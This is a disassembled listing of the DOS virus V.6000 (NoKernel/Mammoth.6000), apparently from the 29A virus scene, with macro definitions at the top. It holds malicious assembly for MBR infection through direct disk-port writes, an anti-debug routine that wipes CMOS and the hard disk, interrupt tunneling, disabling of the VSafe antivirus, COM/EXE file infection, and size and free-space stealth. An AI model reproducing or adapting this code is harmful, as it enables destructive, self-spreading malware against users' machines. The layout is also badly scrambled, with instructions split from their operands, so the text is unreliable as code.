EQU JO EQU JNO EQU JB EQU EQU EQU JAE EQU EQU EQU JE EQU EQU JNE EQU EQU JBE EQU EQU JA EQU EQU JS EQU JNS EQU JP EQU EQU JNP EQU EQU JL EQU EQU JGE EQU EQU JLE EQU EQU JG EQU
_YJB _YJB _YJAE _YJAE _YJE _YJNE _YJBE _YJA
_YJP _YJNP _YJL _YJGE _YJLE _YJG
_YJCXZ EQU JCXZ _YJLU EQU LOOP _YJLUNE EQU LOOPNE _YJLUNZ EQU _YJLUNE _YJLUE EQU LOOPE _YJLUZ EQU _YJLUNE _NJO _NJNO _NJB _NJNAE _NJC _NJAE _NJNB _NJNC _NJE
EQU JNO EQU JO EQU JNB EQU EQU EQU JNAE EQU EQU EQU JNE
_NJB _NJB _NJAE _NJAE
_NJZ _NJNE _NJNZ _NJBE _NJNA _NJA _NJNBE _NJS _NJNS _NJP _NJPE _NJNP _NJPO _NJL _NJNGE _NJGE _NJNL _NJLE _NJNG _NJG _NJNLE
EQU EQU JE EQU EQU JNBE EQU EQU JNA EQU EQU JNS EQU JS EQU JNP EQU EQU JP EQU EQU JNL EQU EQU JNGE EQU EQU JNLE EQU EQU JNG EQU
_NJE _NJNE _NJBE _NJA
_NJP _NJNP _NJL _NJGE _NJLE _NJG
; There are no mirror commands for LOOPxx & JCXZ, ; so we're forced to use MACROS in these cases S@KIP MACRO opcod,target local Skip_Label opcod Skip_Label jmp target Skip_Label label near ENDM _NJCXZ MACRO target S@KIP JCXZ,target ENDM _NJLU MACRO target S@KIP LOOP,target ENDM _NJLUNE MACRO target S@KIP LOOPNE,target ENDM _NJLUNZ MACRO target S@KIP LOOPNZ,target ENDM _NJLUE MACRO target S@KIP LOOPE,target ENDM _NJLUZ MACRO target S@KIP LOOPZ,target ENDM ENDM
;;**********
;À*********************************************Ù ;Ú***** ;
Language macros
Pass next block till the end or DOELSE
*****¿
PASS
MACRO CND S@T %L@+1 J@F CND,E@,%L@+1,%T@E,0 S@T %L@ EL@I %L@,0 ENDM
; Enter next block immediately GOIN MACRO CND S@ B,%L@+1,+1 J@F CND,B@,%L@+1,%T@B,0 S@ B,%L@+1,-1 ENDM ; Go to the begin of current block REPEAT MACRO CND J@R CND,B@,%L@,%T@B,0 ENDM ; Go to the end of current block ; (skip all DOELSE's) EXIT MACRO CND J@F CND,X@,%L@,%T@X,0 ENDM ; Go to the next DOELSE if present ; or to the end of current block NEXT MACRO CND J@F CND,E@,%L@,%T@E,0 ENDM ; The begin of a block without ; test of condition DO MACRO L@ = L@+1 S@ B,%L@,+1 M@ B@,%L@,%T@B S@T %L@ EL@I %L@,0 ENDM ; The end of a block without loop DONE MACRO M@ X@,%L@,%T@X M@ E@,%L@,%T@E S@ X,%L@,+1 S@ E,%L@,+1 L@ = L@-1 S@T %L@ EL@I %L@,0 ENDM ; The end of a loop-block CYCLE MACRO CND REPEAT CND DONE ENDM ; The begin of a block with ; condition test DOIF MACRO CND L@ = L@+1 S@T %L@
J@F CND,E@,%L@,%T@E,1 S@ B,%L@,+1 M@ B@,%L@,%T@B EL@I %L@,0 ENDM ; The alternative block part begin operator DOELSE MACRO EXIT ,LNG S@T %L@ M@ E@,%L@,%T@E S@ E,%L@,+1 EL@I %L@,1 ENDM ; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE) ELSIF MACRO CND EL@I %L@ IF TL@ NE 1 .err ***** STAR error: ELSIF without DOELSE or with PASS ELSE J@F CND,E@,%L@,%T@E,1 S@ B,%L@+1,+1 M@ B@,%L@+1,%T@B S@T %L@ ENDIF EL@I %L@,0 ENDM ;À*********************************************Ù INITS
;Variables initialization
*****
; ; Disassembled by Tcp / 29A ; ; Virus: V.6000 (aka NoKernel aka Mammoth.6000) ; Author: ? ; Country: Russia (?) ; Comments: Polymorphic, multipartite, tunneling, damage, ; full-stealth, HD-ports,... ; The most interesting feature is that it can ; stay resident after a cold reboot and loading ; from a clean DOS floppy disk!!!!!!!! ; WARNING: This is a very dangerous virus!! ; ; To assembly: ; tasm /m v6000.asm ; tlink v6000 ; exe2bin v6000 v6000.com ;------------------------------------------------------------.286 v6000
segment byte public '' assume cs:v6000,es:v6000,ss:v6000,ds:v6000 org 0
start: r_index num_bytes r_source st_code_enc _loop_dec: prefix_op r_op l_mask i_inc: inc d_loop: loop clc code_enc: delta mov mov xor mov add push pop cld rep cli push pop mov add mov mov mov mov mov mov jmp_antidebug ofs_antidebug jmp
db dw db dw
0B9h ; mov cx,length_virus+[0..1Fh] offset(length_virus) 0BFh ; mov di,offset(code_enc)+100h offset(code_enc)+100h
dw db db
802Eh 35h 0
; xor byte ptr cs: ; [di], ; l_mask
di _loop_dec
equ word ptr $+1 bp,offset(start)+100h cx,offset(end_virdata)-buffer al,al di,offset(buffer) di,bp cs es stosb
; Clear data area
cs ss sp,offset(vstack) sp,bp [bp+delta_offset],bp [bp+seg_psp],ds dx,word ptr [bp+jmp_antidebug] bx,(offset(kill_cmos_hd)-ofs_antidebug-2) [bp+jmp_antidebug],0E9h ; jmp [bp+ofs_antidebug],bx equ byte ptr $ equ word ptr $+1 ; jmp kill_cmos_hd ; Kill CMOS & HD if debugging (or Pentium!) no_debug
db no_debug: mov mov int cmp je mov int
cmp ja cmp jae restore_host: cmp je push pop push pop mov add mov mov movsw movsb cli mov jmp restore_exe: mov mov mov mov add add mov mov mov add add push pop push xor push popf pop cli mov mov sti jmp
9 word ptr [bp+jmp_antidebug],dx ; Restore jmp ax,0B0Bh 21h ; Resident check ax,0EFEFh ; Already resident? restore_host ; Yes? then jmp ah,30h 21h ; DOS - GET DOS VERSION ; Return: AL = major version number ; (00h for DOS 1.x) ; AH = minor version number al,0Ah ; >DOS 10.xx? (why???) restore_host ; Yes? then jmp al,3 ; >=DOS 3.00? try_to_infect_hd ; Yes? then jmp byte ptr [bp+host_type],3 ; EXE? restore_exe ; Yes? then jmp cs ; It is a COM file ds cs es si,offset(header) si,bp di,100h bx,di ; Restore original bytes (3 bytes)
sp,0FFFEh bx
; Set default stack ; jmp 100h (exec host)
es,[bp+seg_psp] dx,[bp+exeip] bx,[bp+relocs] cx,es bx,cx bx,10h [bp+ep_ip],dx [bp+ep_cs],bx ax,[bp+reloss] ax,cx ax,10h es ds ax ax,ax ax
; ES:=PSP
; Relocate host CS
; Relocate host SS ; Add PSP
; Clear flags ax ss,ax ; Set stack sp,cs:[bp+relosp] dword ptr cs:[bp+ep_ip]
; Exec host
try_to_infect_hd: call check4ide cmp al,66h ; IDE HD? jne start_tunneling ; No? then jmp (don't use ports) mov ax,160Ah
int or jz get_vi13: mov call mov mov mov jmp
2Fh ; - Multiplex - MS WINDOWS ax,ax ; Windows running? start_tunneling ; Yes? then jmp al,13h get_int_vector [bp+ofs_i13],bx [bp+seg_i13],es [bp+use_ports],1 kill_vsafe
; Get int 13h ; Store it ; Can use ports
start_tunneling: xor ax,ax mov ds,ax ; DS:=0 cli mov ds:[1h*4+2],cs ; Set new int 1 mov dx,offset(int_1) add dx,bp mov ds:[1h*4],dx sti mov [bp+seg_stop],70h ; Set stop segment (DOS segment) mov ah,0FFh pushf pushf call trace_on call dword ptr ds:[13h*4] ; Trace Int 13h call trace_off cmp [bp+seg_i13],0 ; Tunneling successful? jnz kill_vsafe ; Yes? then jmp jmp get_vi13 kill_vsafe: mov dx,5945h mov ax,0FA01h int 21h ; Uninstall VSafe call install_virus jmp restore_host install_virus: mov call mov xor mov mov mov mov call mov mov call mov push call pop cmp jne mov jmp
al,10h ; Diskette drive types read_cmos [bp+floppy_types],ah ax,ax ds,ax ax,ds:[410h] ; Installed hardware [bp+inst_hard],ax al,2Eh ; 1st byte of CMOS checksum read_cmos ch,ah al,2Fh ; 2nd byte of CMOS checksum read_cmos cl,ah cx calculate_CMOS_checksum_1 cx cx,dx ; Using this method for checksum? try_method_ps2 ; No? then jmp [bp+chksum_method],0 infect_HD
try_method_ps2: mov al,32h call read_cmos mov ch,ah
; 1st byte of CMOS checksum (PS/2)
mov call mov push call pop cmp jne mov jmp unknown_method: mov infect_HD: xor mov call mov call inc mov sub mov push pop mov call jnc jmp read_mbr: mov mov add mov mov int jnc jmp check_mbr: mov push pop mov add mov cld rep jne jmp
al,33h ; 2nd byte of CMOS checksum (PS/2) read_cmos cl,ah cx calculate_CMOS_checksum_2 cx cx,dx ; Using this method for checksum? unknown_method ; No? then jmp [bp+chksum_method],1 infect_HD
[bp+chksum_method],2 ah,ah dl,80h int13hbp ah,8 int13hbp ch dl,80h cl,14 ax,030Ch cs es bx,bp int13hbp read_mbr _ret
; Reset HD controller ; Get drive parameters ; inc max.cylinder ; Get 14 sectors ; 12 sectors to write (its code)
; Write to HD ; Ok? then jmp ; Stupid jmp!!
ax,0201h bx,offset(s_mbr) bx,bp dx,80h cx,1 13h ; Read MBR check_mbr ; Ok? then jmp _ret ; Stupid jmp!!
di,bx cs ds si,offset(mbr_code) si,bp cx,(tmbr_code-mbr_code) cmpsb infect_mbr _ret
; Infected? ; No? then jmp ; Stupid jmp!!
infect_mbr: call get_random mov [bp+mask_orig_mbr],ah mov si,bx mov cx,512 push cx encrypt_orig_mbr: xor [si],ah inc si loop encrypt_orig_mbr push ax
mov ah,8 call int13hbp ; Get drive parameters inc ch ; Inc cylinder dec cl ; Dec sector mov dl,80h mov ax,301h ; 1 sector to write call int13hbp ; Write encripted MBR mov si,bx pop ax pop cx decrypt_orig_mbr: xor [si],ah ; Decrypt MBR inc si loop decrypt_orig_mbr call get_random mov si,offset(st_mbr_enc) add si,bp mov cx,end_mbr_code-st_mbr_enc push si push cx push ax encrypt_mbr: mov cs:[bp+mask_mbr],ah ; Encrypt new MBR code xor [si],ah inc si loop encrypt_mbr mov si,offset(mbr_code) add si,bp mov di,bx mov cx,end_mbr_code-mbr_code rep movsb cmp [bp+use_ports],1 ; Can use ports? je write_using_ports ; Yes? then jmp mov ax,301h ; 1 sector to write mov cx,1 xor dh,dh call int13hbp ; Write new mbr jmp mbr_wrote wait_while_busy: mov dx,1F7h HD_busy: in al,dx ; AT hard disk ; status register bits: ; 0: 1=prev cmd error ; 2: Corrected data ; 3: Data Request. Buffer is busy ; 4: Seek completed ; 5: Write fault ; 6: Drive ready (unless bit 4=0) ; 7: Busy test al,80h ; Busy? jnz HD_busy ; Yes? Repeat while busy ret wait_while_busy_seek: mov dx,1F7h in_seek: in al,dx ; AT hard disk ; status register bits: ; 0: 1=prev cmd error ; 2: Corrected data ; 3: Data Request. Buffer is busy
test jnz test jz ret
; 4: ; 5: ; 6: ; 7: al,80h in_seek al,8 in_seek
Seek completed Write fault Drive ready (unless bit 4=0) Busy ; HD busy? ; Yes? Repeat while busy ; Seek completed? ; No? Repeat until seek completed
write_using_ports: mov si,bx cld mov dx,3F6h mov al,4 out dx,al ; Enable FDC disk reset call waste_time mov al,0 out dx,al call wait_while_busy mov dx,1F6h mov al,10100000b ; ^^^^^head 0 ; |___drive 0 out dx,al ; AT hard disk controller: Drive & Head. call waste_time mov dx,1F7h mov al,10h out dx,al ; AT hard disk command register: ; 1?H = Restore to cylinder 0 ; 7?H = Seek to cylinder ; 2?H = Read sector ; 3xH = Write sector ; 50H = Format track ; 4xH = verify read ; 90H = diagnose ; 91H = set parameters for drive ; Recalibrate drive call wait_while_busy mov dx,1F1h in al,dx ; AT hard disk controller ; Error register. Bits for last error: ; 0: Data Address Mark not found ; 1: Track 0 Error ; 2: Command aborted ; 4: Sector ID not found ; 6: ECC Error: Uncorrectable data error ; 7: Bad block and al,01101000b jnz write_using_ports ; Error? try again call wait_while_busy mov dx,1F2h mov al,1 ; One sector out dx,al ; AT hard disk controller: Sector count. call waste_time mov dx,1F3h mov al,1 ; Start in sector 1 out dx,al ; AT hard disk controller: Sector number. call waste_time mov dx,1F4h mov al,0 out dx,al ; AT hard disk controller: ; Cylinder high (bits 0-1 are bits 8-9
call mov mov out
call mov mov out call mov mov out
call mov mov rep call mbr_wrote: pop pop pop dec_mbrcode: xor inc loop mov mov call mov inc sub mov mov call _ret: ret
; of 10-bit cylinder number) waste_time dx,1F5h al,0 ; Cylinder 0 dx,al ; AT hard disk controller: ; Cylinder low (bits 0-7 of 10-bit ; cylinder number) waste_time dx,1F6h al,10100000b ; Drive 0, Head 0 dx,al ; AT hard disk controller: Drive & Head. waste_time dx,1F7h al,31h ; Write sector without retry dx,al ; AT hard disk ; command register: ; 1?H = Restore to cylinder 0 ; 7?H = Seek to cylinder ; 2?H = Read sector ; 3xH = Write sector ; 50H = Format track ; 4xH = verify read ; 90H = diagnose ; 91H = set parameters for drive wait_while_busy_seek cx,512/2 ; Number of words to write (1 sector) dx,1F0h ; Data register outsw ; Write sector wait_while_busy ax cx si cs:[si],ah si dec_mbrcode ah,8 dl,80h int13hbp ; Get drive parameters dl,80h ch ; inc cylinder cl,2 ; dec sector*2 word ptr cs:[bx],0 ; Reset boot counter ax,0301h ; 1 sector to write int13hbp ; Write to HD
int_1:
; Tunneler code push push push push push mov lds mov mov cmp je mov
bx es si bp ds bp,sp si,[bp+0Ah] bp,cs bx,ds bx,bp end_int1 bp,sp
; Get next inst.address from stack
; Is from virus code? ; Yes? then jmp
delta_offset equ word ptr $+1 mov bx,0B3Ah ; mov bx,delta_offset cmp byte ptr [si],9Ch ; Next inst. is a pushf? jne check_popf ; No? then jmp inc word ptr [bp+0Ah] ; Skip the pushf mov cs:[bx+emul_pushf],1 check_popf: cmp byte ptr [si],9Dh ; Next inst. is a popf? jne no_popf ; No? then jmp or word ptr [bp+10h],100h ; Put flag trace in stack no_popf: mov bp,ds cmp cs:[bx+tunnel_ok],1 ; Found int? je end_int1 ; Yes? then jmp cmp bp,cs:[bx+seg_stop] ; Above stop segment? ja end_int1 ; Yes? then jmp mov cs:[bx+ofs_i13],si ; Store as the new int mov cs:[bx+seg_i13],ds mov cs:[bx+tunnel_ok],1 ; Found int end_int1: pop ds pop bp pop si pop es cmp cs:[bx+emul_pushf],1 ; Was found a pushf? je no_restore_flags ; Yes? then jmp pop bx iret no_restore_flags: mov word ptr cs:[bx+emul_pushf],0 pop bx retf waste_time: jmp jmp ret trace_on: pushf pop or push popf ret trace_off: pushf pop and push popf ret check4ide: push mov push mov int
$+2 $+2
bx bh,1 bx
bx bh,0FEh bx
; Set trace flag on
; Set trace flag off
ds dl,80h ; 1st HD dx ah,15h 13h ; DISK - GET TYPE ; DL = drive ID ; Return: CF set on error ; AH = disk type ; Get type of 1st HD
pop cmp je xor mov les mov push push mov int mov rol rol and xchg and mov shl or add pop mov pop cmp xor jne mov
dx ah,1 ; Type 1? Diskette??? no_ide ; Yes? then jmp ax,ax ds,ax ; DS:=0 si,ds:[41h*4] ; Get hd0 parameters pointer ax,es:[si] ; Maximun number of cylinders ax dx ah,8 13h ; Get current drive parameters ax,cx al,1 al,1 al,3 ; Get high order 2 bits of cylinder count al,ah ; Cylinder count in AX dh,0C0h ; Get high order 2 bits of head count ; Large Model(?) cl,4 dh,cl ah,dh ; Total cylinder count in AX ax,2 ; Add 2 cylinders dx bx,ax ax bx,ax ; Same cylinder number? al,al ; BUG!!!! This instruction sets the Z-flag no_ide ; Then this jump is never used al,66h
no_ide: pop ret
ds
fffnfcb: call or jnz pushf call mov call push pop push pop cmp jnz add no_ext_fcb: call call or jz mov call jc mov mov call rcr cmp jb push
int21h al,al no_files_fcb
; FF/FN ; More files? ; No? then jmp
push_registers ah,2Fh int21h ; Get DTA es ds bx dx byte ptr es:[bx],0FFh ; Extended FCB? no_ext_fcb ; No? then jmp dx,7 make_fname exe_or_com? bp,bp error_open_fcb ax,3D00h int21h error_open_fcb bx,ax ax,5700h int21h dh,1 dh,64h no_inf_fcb bx
; EXE or COM? ; No? then jmp ; Open file ; bx:=handle ; Get file time ; Infected? ; No? then jmp
mov call cmp jne add no_ext_fcb2: sub mov rcr pushf sub popf rcl mov pop no_inf_fcb: mov call error_open_fcb: call popf no_files_fcb: retf rename_FCB: push push call jmp rename_handle: push push rename: push push push push push push push push call pop pop or jz push push push pop mov call pop pop or jnz call jmp now_is_exec: call jmp_end_i21:
ah,2Fh int21h ; Get DTA byte ptr es:[bx],0FFh ; Extended FCB? no_ext_fcb2 ; No? then jmp bx,7 word ptr es:[bx+1Dh],offset(length_virus) ax,es:[bx+19h] ; Get file date ah,1 ah,100
; Set original date
ah,1 es:[bx+19h],ax bx ah,3Eh int21h
; Close file
pop_registers
2
ds dx make_fname rename
ds dx es si di cx bp ax es di exe_or_com? di es bp,bp jmp_end_i21 ds dx es ds dx,di exe_or_com? dx ds bp,bp now_is_exec disinfect_file jmp_end_i21
; Renaming from Exe or Com? ; No? then jmp
; Renaming to Exe or Com? ; Yes? then jmp ; else disinfect
try_to_infect_file
pop pop pop pop pop pop pop pop jmp disinfect: push cmp jne test jz mov exec?: cmp jne push push push push push push mov or call mov call dec mov mov push pop call jnc or no_chkdsk: pop pop pop pop pop pop no_exec: test jnz call not_open: pop jmp
ax bp cx di si es dx ds exit_i21
dx ah,6Ch exec? dl,1 not_open dx,si
; ; ; ;
Extended create/open? No? then jmp Action=open file? No? then jmp
ah,4Bh ; Exec file? no_exec ; No? then jmp ax si di es cx ds cs:ticks_disableFD,30*18 ; 30 seconds cs:flags,2 ; Don't disable FD enable_FD si,dx end_fname si di,offset(end_chkdsk) cx,end_chkdsk-end_wswap cs es cmp_strings ; chkdsk.exe? no_chkdsk ; No? then jmp cs:flags,80h ; No stealth ds cx es di si ax cs:flags,1 not_open disinfect_file
; bit0 never is 1!!! I think... ; then this jump is never used
dx exit_i21
fffnh: call jc pushf call mov call push pop
int21h ret_fffnh
; Find-first/next ; jmp if no more files
push_registers ah,2Fh int21h es ds
; Get DTA
mov add call or jz mov shr cmp jb mov rcr pushf sub popf rcl mov sub end_fffnh: call popf ret_fffnh: retf
dx,bx dx,1Eh exe_or_com? ; if bp=0 then not exe/com bp,bp ; Exe or Com? end_fffnh ; No? then jmp ax,[bx+(dta_date-dta)] ah,1 ah,64h ; Infected? end_fffnh ; No? then jmp ax,es:[bx+(dta_date-dta)] ; Get file date ah,1 ah,100
; Set original date
ah,1 es:[bx+(dta_date-dta)],ax [bx+(dta_sizel-dta)],offset(length_virus) pop_registers
2
jmp_infect_on_exit: jmp infect_on_exit int_21: mov cmp je or jz cmp je cmp je test jnz cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp
cs:into_i21,1 ah,4Ch ; Exit program via ah=4Ch? jmp_infect_on_exit ; Yes? then jmp (infect) ah,ah ; Exit program via ah=0? jmp_infect_on_exit ; Yes? then jmp (infect) ah,31h ; Exit program via ah=31h (TSR)? jmp_infect_on_exit ; Yes? then jmp (infect) ax,0B0Bh ; Our check? resident_check ; Yes? then jmp cs:flags,80h ; Do stealth? exit_i21 ; No? then jmp ah,4Bh ; Exec? jmp_disinfect ; Yes? then jmp (disinfect) ah,11h ; FF FCB? jmp_fffnfcb ; Yes? then jmp (length stealth) ah,12h ; FN FCB? jmp_fffnfcb ; Yes? then jmp (length stealth) ah,4Eh ; FF handle? fffnh ; Yes? then jmp (length stealth) ah,4Fh ; FN handle? fffnh ; Yes? then jmp (length stealth) ah,3Dh ; Open? jmp_disinfect ; Yes? then jmp (disinfect) ah,6Ch ; Extended open? jmp_disinfect ; Yes? then jmp (disinfect) ah,36h ; Get Disk free? disk_free ; Yes? then jmp (free space stealth) ah,0Fh ; Open file using FCB? open_delete_FCB ; Yes? then jmp (infect) ah,13h ; Delete file using FCB? open_delete_FCB ; Yes? then jmp (infect) ah,17h ; Rename file using FCB? jmp_rename_FCB ; Yes? then jmp (infect/disinfect) ah,41h ; Delete file? del_getsetattr ; Yes? then jmp (infect) ah,56h ; Rename file?
je cmp je cmp je cmp je exit_i21: mov jmp resident_check: mov iret del_getsetattr: jmp jmp_close: jmp jmp_fffnfcb: jmp jmp_disinfect: jmp jmp_rename: jmp jmp_rename_FCB: jmp
jmp_rename ax,4300h del_getsetattr ax,4301h del_getsetattr ah,3Eh jmp_close
; ; ; ; ; ; ;
Yes? then jmp (infect/disinfect) Get attributes? Yes? then jmp (infect) Set attributes? Yes? then jmp (infect) Close file? Yes? then jmp (infect)
cs:into_i21,0 dword ptr cs:ofs_i21 ax,0EFEFh
jmp_try_infect_file close fffnfcb disinfect rename_handle rename_FCB
open_delete_FCB: push ds push dx call make_fname call try_to_infect_file pop dx pop ds jmp exit_i21 save_free: mov mov mov pop call mov retf
cs:into_i21,0 cs:stored_psp,bx cs:stored_drive,dl bx int21h cs:clusters_avail,bx 2
disk_free: push push mov call pop cmp jne cmp jne pop call mov retf
bx ax ah,62h int21h ; Get PSP address in BX ax bx,cs:stored_psp ; Same program? save_free ; No? then jmp dl,cs:stored_drive ; Same drive? save_free ; No? then jmp bx int21h ; Get free space bx,cs:clusters_avail ; Return previous free space 2
int_27: push mov shr
cx cl,4 dx,cl
; div 16
; Store program PSP dir ; Store drive ; Get free space ; Store free space
pop inc mov jmp
cx dx ax,3100h infect_on_exit
; inc paragraphs ; To exec int 21h, AX=3100 (TSR)
ax,ax
; To exec int 21h, AX=0 (exit)
int_20: xor infect_on_exit: push push push push pushf push pop cmp jne jmp set_checks: mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov mov call mov mov xor mov cli mov mov mov mov mov mov mov mov sti mov mov push pop movsw movsw
ax ds dx bx cs ds activity_checks,1 set_checks ints_set
activity_checks,1 ah,34h int21h ; ofs_flagdos,bx ; seg_flagdos,es al,8 get_int_vector ; ofs_i8,bx ; seg_i8,es al,17h get_int_vector ; ofs_i17,bx ; seg_i17,es al,25h get_int_vector ; ofs_i25,bx ; seg_i25,es al,26h get_int_vector ; ofs_i26,bx ; seg_i26,es ax,5D06h int21h ; cs:ofs_swpdos,si cs:seg_swpdos,ds ax,ax ds,ax
; Checking activity? ; No? then jmp
Get address of DOS activity flag Store it
Get int 8 Store it
Get int 17h Store it
Get int 25h Store it
Get int 26h Store it
Get address of DOS swappable area ; Store it
word ptr ds:[8h*4],offset(int8) ds:[8h*4+2],cs word ptr ds:[17h*4],offset(int17) ds:[17h*4+2],cs word ptr ds:[25h*4],offset(int25) ds:[25h*4+2],cs word ptr ds:[26h*4],offset(int26) ds:[26h*4+2],cs si,400h ; Address of COM ports di,offset(com_ports) cs es ; com1 ; com2
; Set int 8 ; Set int 17h ; Set int 25h ; Set int 26h
movsw movsw ints_set: test jnz call get_parent_psp: mov call mov mov mov mov mov cmp jne and no_reset_flags: popf pop pop pop pop mov jmp
; com3 ; com4 cs:flags,40h get_parent_psp get_fname_env
; bit14 never is 1!!! I think... ; then this jump is never used
ah,62h int21h ; Get current PSP address ds,bx ax,ds:[16h] ; Get parent PSP ds,ax ax,ds:[16h] ; Get parent PSP (of parent PSP :) bx,ds ax,bx ; Same PSP? Parent=command interpreter? no_reset_flags ; No? then jmp cs:flags,0 ; Clear flags
bx dx ds ax cs:into_i21,0 dword ptr cs:ofs_i21
close: call push call call pop clc mov int
jc cmp je clc push mov xor mov int
pop jc push pop and or add mov dec call
push_registers bx set_i24_i1B_i23 get_ofs_fname bx ax,1220h 2Fh ; GET JOB FILE TABLE ENTRY ; BX = file handle ; Return: CF set on error, AL = 6 ; CF clear if successful ; ES:DI -> JFT entry for file handle ; in current process end_close byte ptr es:[di],0FFh ; No table? end_close ; Yes? then jmp bx bl,es:[di] ; Get file entry number bh,bh ax,1216h 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE ; BX = system file table entry number ; Return: CF clear if successful, ; ES:DI -> system file table entry ; CF set if BX greater than FILES= bx end_close es ds word ptr [di+2],0FFF8h word ptr [di+2],2 ; File open mode 2 (I/O) di,cs:ofs_sft dx,di dx make_fname
push pop mov call end_close: call call jmp
cs ds dx,offset(filename) infect_file restore_i24_i1b_i23 pop_registers exit_i21
jmp_try_infect_file: call try_to_infect_file jmp exit_i21 push_registers: pop push push push push push push push push push jmp
cs:return_dir ax bx cx dx es ds si di bp cs:return_dir
pop_registers: pop pop pop pop pop pop pop pop pop pop jmp
cs:return_dir bp di si ds es dx cx bx ax cs:return_dir
get_fname_env: call mov call mov mov xor mov search4fname: mov or jz inc loop jmp
push_registers ah,62h int21h ds,bx ds,ds:[2Ch] si,si cx,400h
; Get PSP address in BX ; Get environment segment
ax,[si] ax,ax no_more_variables si search4fname _pop_regs
; Get word ; Zero? ; Yes? then jmp
no_more_variables: add si,4 ; Pathname of environment owner mov dx,si call try_to_infect_file _pop_regs: call pop_registers ret
try_to_infect_file: call push_registers call normalize_fname call set_i24_i1B_i23 ; Set ints call get_reset_attr ; Save & reset attributes jc error_writing mov ax,3D02h call int21h ; Open file I/O jc error_writing mov bx,ax ; bx:=handle call infect_file mov ah,3Eh call int21h ; Close file call restore_attr ; Restore attributes error_writing: call restore_i24_i1b_i23 call pop_registers ret st_command db ext_com end_command gdi_exe end_gdi db end_dosx db end_win386 db end_krnl286 db end_krnl386 db bad_end_user ext_exe end_user db end_wswap db end_chkdsk
equ $-1 'COMMAND.' db 'COM' equ word ptr $-1 db 'GDI.EXE' equ word ptr $-1 'DOSX.EXE' equ word ptr $-1 'WIN386.EXE' equ word ptr $-1 'KRNL286.EXE' equ word ptr $-1 'KRNL386.EXE' equ word ptr $-1 'USER.' equ word ptr $-2 db 'EXE' equ word ptr $-1 'WSWAP.EXE' equ word ptr $-1 'CHKDSK.EXE' equ word ptr $-1
normalize_fname: push ds pop es push dx pop si push si pop di mov ax,1211h int 2Fh ; NORMALIZE ASCIZ FILENAME ; DS:SI -> ASCIZ filename to normalize ; ES:DI -> buffer for normalized filename ; Return: destination buffer filled with ; uppercase filename, with slashes turned ; to backslashes ret cmp_strings:
; Compare two strings ; OUTPUT: Carry=1 if strings are equal
std next_char: lodsb
cmp je inc cmpsb loope clc or jnz stc no_match: ret infect_file: push push call or jz push call pop jc mov xor xor call jc call jc call call jz call call jc call not_infect: pop pop ret
al,' ' next_char si
; Ignore spaces
next_char cx,cx no_match
; Matching strings? ; No? then jmp ; Set carry
ds dx exe_or_com? bp,bp ; not_infect ; bp cmp_fname ; bp not_infect ; ax,4200h cx,cx dx,dx int21h ; not_infect read_header not_infect check_if_exe check_if_infected not_infect get_ftime write_virus not_infect restore_ftime
Exe or Com? No? then jmp Valid filename? No? then jmp
Lseek start
; Already infected? ; Yes? then jmp
dx ds
restore_ftime: mov mov mov call ret
ax,5701h cx,cs:f_time dx,cs:f_date int21h
; Restore file date & time
restore_attr: mov mov call ret
ax,4301h cx,cs:attribs int21h
; Restore attributes
get_ftime: mov call mov mov ret
ax,5700h int21h cs:f_time,cx cs:f_date,dx
get_reset_attr: mov ax,4300h
; Get file time
call mov mov xor call ret check_if_exe: cmp jz cmp jz mov ret is_exe: mov ret cmp_fname: mov call dec mov push pop mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call jc mov mov mov call
int21h cs:attribs,cx ax,4301h cx,cx int21h
; Get attributes ; Store attributes
; Reset attributes
cs:_signature,5A4Dh is_exe cs:_signature,4D5Ah is_exe bp,1
bp,3
; ; ; ; ;
EXE? Yes? then jmp EXE? Yes? then jmp It's COM
; It's EXE
si,dx end_fname si ; SI points to end fname bp,si cs es di,offset(end_command) cx,end_command-st_command cmp_strings ; COMMAND.COM? invalid_fname ; Yes? then jmp si,bp di,offset(end_gdi) cx,end_gdi-end_command cmp_strings ; GDI.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_dosx) cx,end_dosx-end_gdi cmp_strings ; DOSX.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_win386) cx,end_win386-end_dosx cmp_strings ; WIN386.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_krnl286) cx,end_krnl286-end_win386 cmp_strings ; KRNL286.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(end_krnl386) cx,end_krnl386-end_krnl286 cmp_strings ; KRNL386.EXE? invalid_fname ; Yes? then jmp si,bp di,offset(bad_end_user) ; BUG!!!! offset(end_user) cx,end_user-end_krnl386 cmp_strings ; USER.EXE? (BUG) invalid_fname ; Yes? then jmp si,bp di,offset(end_wswap) cx,end_wswap-end_user cmp_strings ; WSWAP.EXE?
jc clc invalid_fname: ret
invalid_fname
; Yes? then jmp ; Valid filename
get_file_encryption: push cs pop ds mov ofs_virus,offset(length_virus)-offset(l_mask) call lseek mov ah,3Fh mov dx,offset(code_mask) mov cx,1 call int21h ; Read 1 byte (encryption mask) push cs pop ds mov ofs_virus,offset(length_virus)-(offset(prefix_op)+1) call lseek mov ah,3Fh mov dx,offset(ofs_virus) mov cx,1 call int21h ; Read 1 byte cmp byte ptr ofs_virus,0F6h ; Not encryption? je m_not ; Yes? then jmp cmp byte ptr ofs_virus,80h ; Xor encryption? je m_xor ; Yes? then jmp cmp byte ptr ofs_virus,0D0h ; Ror encryption? je m_ror ; Yes? then jmp cmp byte ptr ofs_virus,0FEh ; Dec encryption? je m_dec ; Yes? then jmp m_not: mov crypt_method,1 ret m_xor: mov crypt_method,0 ret m_ror: mov crypt_method,2 ret m_dec: mov crypt_method,3 ret check_if_infected: push cs pop ds call get_file_encryption mov ofs_virus,offset(length_virus)-offset(gdi_exe) call lseek mov ah,3Fh mov dx,offset(ofs_virus) mov cx,2 call int21h ; Read 2 bytes mov si,offset(ofs_virus) call decrypt_bytes mov cx,word ptr gdi_exe cmp cx,ofs_virus ; Infected file? ret get_n_di: call mov shr
; Get SI in [0, DI, DI*2] get_random cl,0Eh ax,cl
; AX in [0..3]
mov mul mov sub jns neg
si,di si si,ax si,di not_neg si
